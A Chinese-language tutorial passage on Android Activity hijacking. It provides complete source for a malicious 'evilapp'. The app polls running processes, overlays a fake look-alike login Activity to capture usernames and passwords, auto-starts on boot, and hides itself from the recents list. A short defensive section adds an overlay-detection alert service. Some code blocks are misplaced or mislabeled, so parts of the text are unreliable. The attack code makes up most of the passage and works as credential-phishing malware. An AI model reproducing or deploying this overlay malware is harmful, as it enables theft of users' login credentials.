界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的,接下来会发生什么就可想而知了。
二、实例
首先,我们在Android Studio中新建一个工程,项目结构如下:
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" >
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Normal Activity"
android:gravity="center_horizontal"
android:padding="10dp"
android:background="#ffffff"/>
<LinearLayout
android:id="@+id/Layout1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerHorizontal="true"
android:layout_marginTop="80dp"
android:orientation="horizontal">
<TextView
android:text="UserName"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#000000"
android:textSize="20dp" />
<EditText
android:id="@+id/UserNameEdit"
android:layout_width="100dp"
android:layout_height="wrap_content" />
</LinearLayout>
<LinearLayout
android:id="@+id/Layout2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_centerHorizontal="true"
android:layout_marginTop="50dp"
android:orientation="horizontal"
android:layout_below="@id/Layout1">
<TextView
android:text="Password"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="#000000"
android:textSize="20dp" />
<EditText
android:id="@+id/PasswordEdit"
android:layout_width="100dp"
android:layout_height="wrap_content" />
</LinearLayout>
<Button
android:id="@+id/LoginButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_below="@id/Layout2"
android:layout_marginTop="5dp"
android:layout_centerHorizontal="true"
android:text="Login"/>
</RelativeLayout>
三、防护手段
activity_main.xml的内容:<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" > <TextView android:layout_width="match_parent" android:layout_height="wrap_content" android:text="Normal Activity" android:gravity="center_horizontal" android:padding="10dp" android:background="#ffffff"/> <LinearLayout android:id="@+id/Layout1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:layout_marginTop="80dp" android:orientation="horizontal"> <TextView android:text="UserName" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textColor="#000000" android:textSize="20dp" /> <EditText android:id="@+id/UserNameEdit" android:layout_width="100dp" android:layout_height="wrap_content" /> </LinearLayout> <LinearLayout android:id="@+id/Layout2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:layout_marginTop="50dp" android:orientation="horizontal" android:layout_below="@id/Layout1"> <TextView android:text="Password" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textColor="#000000" android:textSize="20dp" /> <EditText android:id="@+id/PasswordEdit" android:layout_width="100dp" android:layout_height="wrap_content" /> </LinearLayout> <Button android:id="@+id/LoginButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@id/Layout2" android:layout_marginTop="5dp" android:layout_centerHorizontal="true" android:text="Login"/> </RelativeLayout>
activity_second.xml的内容:只是一个TextView控件,显示"Second Activity"而已,就不贴代码了。
MainActivity.java的内容:package com.example.hac.normalapp; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; //一个简单的界面,模拟用户输入用户名、密码,点击按钮后就跳转到SecondActivity //只是为了演示正常的Activity而已,无实际功能 public class MainActivity extends Activity { Button login = null; EditText userName = null; EditText password = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); login = (Button)findViewById(R.id.LoginButton); userName = (EditText)findViewById(R.id.UserNameEdit); password = (EditText)findViewById(R.id.PasswordEdit); login.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Intent intent = new Intent(MainActivity.this, SecondActivity.class); //启动SecondActivity startActivity(intent); } }); } }
SecondActivity.java的内容:无内容,就是一个空的Activity,用于显示activity_second.xml的内容而已,不贴代码啦。
AndroidMainfest.xml的内容:就是普通的内容,不贴代码了。
接下来是我们的恶意软件,再新建一个工程,项目结构如下:activity_fakemain.xml的内容:我们伪造的Activity布局,模仿上面正常的Activity布局。<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" > <TextView android:layout_width="match_parent" android:layout_height="wrap_content" android:text="Normal Activity" android:gravity="center_horizontal" android:padding="10dp" android:background="#ffffff" android:visibility="invisible"/> <LinearLayout android:id="@+id/Layout1" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:layout_marginTop="80dp" android:orientation="horizontal"> <TextView android:text="UserName" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textColor="#000000" android:textSize="20dp" android:visibility="invisible"/> <EditText android:id="@+id/UserNameEdit" android:layout_width="100dp" android:layout_height="wrap_content" android:visibility="invisible"/> </LinearLayout> <LinearLayout android:id="@+id/Layout2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:layout_marginTop="50dp" android:orientation="horizontal" android:layout_below="@id/Layout1"> <TextView android:text="Password" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textColor="#000000" android:textSize="20dp" android:visibility="invisible"/> <EditText android:id="@+id/PasswordEdit" android:layout_width="100dp" android:layout_height="wrap_content" android:visibility="invisible"/> </LinearLayout> <Button android:id="@+id/LoginButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_below="@id/Layout2" android:layout_marginTop="5dp" android:layout_centerHorizontal="true" android:text="Login" android:visibility="invisible"/> </RelativeLayout>
activity_main.xml的内容:
<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Start" android:textSize="50dp"/> <Button android:id="@+id/StartServiceButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="StartService" android:padding="20dp" android:layout_gravity="center_horizontal"/> </LinearLayout>
activity_main.xml的内容:
AutoStartReceiver.java的内容:<?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Start" android:textSize="50dp"/> <Button android:id="@+id/StartServiceButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="StartService" android:padding="20dp" android:layout_gravity="center_horizontal"/> </LinearLayout>
package com.example.hac.evilapp; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; //用于开机自动启动HijackService的Receiver,它能够响应“android.intent.action.BOOT_COMPLETED” public class AutoStartReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) { Intent _intent = new Intent(context, HijackService.class); //启动HijackService context.startService(_intent); } } }
EvilApplication.java的内容:
package com.example.hac.evilapp; import android.app.Application; import java.util.ArrayList; import java.util.List; public class EvilApplication extends Application{ //存放已经被劫持的程序 List<String> hijackedList = new ArrayList<String>(); public boolean hasProgressBeHijacked(String processName) { return hijackedList.contains(processName); } public void addHijacked(String processName) { hijackedList.add(processName); } public void clearHijacked() { hijackedList.clear(); } }
FakeMainActivity.java的内容:
package com.example.hac.evilapp; import android.app.Activity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; import java.util.Timer; import java.util.TimerTask; public class FakeMainActivity extends Activity { Button login = null; EditText userName = null; EditText password = null; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_fakemain); login = (Button)findViewById(R.id.LoginButton); userName = (EditText)findViewById(R.id.UserNameEdit); password = (EditText)findViewById(R.id.PasswordEdit); //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后,再将我们的控件显示出来 //我本来是想让我们伪造的Activity直接在原位淡入的,但没有实现,郁闷 //无奈只能用这个本方法,如果大家有更好的办法,请赐教 Timer timer = new Timer(); TimerTask task = new TimerTask() { @Override public void run() { runOnUiThread(new Runnable(){ @Override public void run() { userName.setVisibility(View.VISIBLE); password.setVisibility(View.VISIBLE); login.setVisibility(View.VISIBLE); }}); } }; timer.schedule(task, 1000); login.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { //这里为了显示效果,将用户输入的内容显示出来,真正的恶意软件则会直接将信息发送给自己 Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show(); //为了伪造的Activity弹出时不那么明显 userName.setVisibility(View.INVISIBLE); password.setVisibility(View.INVISIBLE); login.setVisibility(View.INVISIBLE); finish(); } }); } }
HijackService.java的内容:
package com.example.hac.evilapp; import android.app.ActivityManager; import android.app.Service; import android.content.Context; import android.content.Intent; import android.os.Handler; import android.os.IBinder; import android.util.Log; import java.util.HashMap; import java.util.List; public class HijackService extends Service { //targetMap用于存放我们的目标程序 HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>(); Handler handler = new Handler(); boolean isStart = false; //我们新建一个Runnable对象,每隔200ms进行一次搜索 Runnable searchTarget = new Runnable() { @Override public void run() { //得到ActivityManager ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); //通过ActivityManager将当前正在运行的进程存入processInfo中 List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses(); Log.w("恶意软件", "遍历进程"); //遍历processInfo中的进程信息,看是否有我们的目标 for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) { //若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持 if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { if (targetMap.containsKey(_processInfo.processName)) { // 调用hijack方法进行劫持 hijack(_processInfo.processName); } else { Log.w("进程", _processInfo.processName); } } } handler.postDelayed(searchTarget, 200); } }; //进行Activity劫持的函数 private void hijack(String processName) { //这里判断我们的目标程序是否已经被劫持过了 if (((EvilApplication) getApplication()) .hasProgressBeHijacked(processName) == false) { Log.w("恶意软件", "开始劫持"+processName); Intent intent = new Intent(getBaseContext(), targetMap.get(processName)); //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶 intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); //启动我们伪造的Activity getApplication().startActivity(intent); //将目标程序加入到已劫持列表中 ((EvilApplication) getApplication()).addHijacked(processName); Log.w("恶意软件", "已经劫持"); } } @Override public void onStart(Intent intent, int startId) { super.onStart(intent, startId); if (!isStart) { //将我们的目标加入targetMap中 //这里,key为我们的目标进程,value为我们伪造的Activity targetMap.put("com.example.hac.normalapp", FakeMainActivity.class); //启动searchTarget handler.postDelayed(searchTarget, 1000); isStart = true; } } @Override public boolean stopService(Intent name) { isStart = false; Log.w("恶意软件", "停止劫持"); //清空劫持列表 ((EvilApplication) getApplication()).clearHijacked(); //停止searchTarget handler.removeCallbacks(searchTarget); return super.stopService(name); } @Override public IBinder onBind(Intent intent) { return null; } }
StartServiceActivity.java的内容:
package com.example.hac.evilapp; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.Button; //用于手动启动我们的HijackService,真正的恶意软件通常不会有这样的一个Activity public class StartServiceActivity extends Activity { Button startButton = null; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); startButton = (Button)findViewById(R.id.StartServiceButton); startButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class); startService(intent2); } }); } }
colors.xml的内容:
<?xml version="1.0" encoding="utf-8"?> <resources> <color name="translucent_background">#00000000</color>> </resources>
styles.xml的内容:
AndroidMainfest.xml的内容:注意HijackService和AutoStartReceiver要在这里注册,且要添加相应的权限。另外,添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现,这将提升其危险程度。<resources> <!-- Base application theme. --> <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar"> <!-- Customize your theme here. --> </style> <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar"> <item name="android:windowBackground">@color/translucent_background</item> <item name="android:windowIsTranslucent">true</item> <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item> </style> </resources>
http://pan.baidu.com/s/1eQ8JF5w<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.hac.evilapp" > <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:name=".EvilApplication" android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".StartServiceActivity" android:label="@string/app_name" android:excludeFromRecents="true"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/> <service android:name=".HijackService" ></service> <receiver android:name=".AutoStartReceiver" android:enabled="true" android:exported="true" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> </application> </manifest>
项目工程下载(ChinaUnix对文件大小有限制,只能传百度网盘了):
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
//判断程序进入后台是否是用户自身造成的(触摸返回键或HOME键),是则无需弹出警示。
if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){
needAlarm = false;
}
return super.onKeyDown(keyCode, event);
}
@Override
protected void onPause() {
//若程序进入后台不是用户自身造成的,则需要弹出警示
if(needAlarm) {
//弹出警示信息
Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖,请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();
//启动我们的AlarmService,用于给出覆盖了正常Activity的类名
Intent intent = new Intent(this, AlarmService.class);
startService(intent);
}
super.onPause();
}
2、实现AlarmService.java,代码如下:
package com.example.hac.normalapp;
import android.app.ActivityManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.widget.Toast;
public class AlarmService extends Service{
boolean isStart = false;
Handler handler = new Handler();
Runnable alarmRunnable = new Runnable() {
@Override
public void run() {
//得到ActivityManager
ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
//getRunningTasks会返回一个List,List的大小等于传入的参数。
//get(0)可获得List中的第一个元素,即栈顶的task
ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);
//得到当前栈顶的类名,按照需求,也可以得到完整的类名和包名
String shortClassName = info.topActivity.getShortClassName(); //类名
//完整类名
//String className = info.topActivity.getClassName();
//包名
//String packageName = info.topActivity.getPackageName();
Toast.makeText(getApplicationContext(), "当前运行的程序为"+shortClassName, Toast.LENGTH_LONG).show();
}
};
@Override
public int onStartCommand(Intent intent, int flag, int startId) {
super.onStartCommand(intent, flag, startId);
if(!isStart) {
isStart = true;
//启动alarmRunnable
handler.postDelayed(alarmRunnable, 1000);
stopSelf();
}
return START_STICKY;
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
3、最后在AndroidManifest.xml中注册AlarmService即可。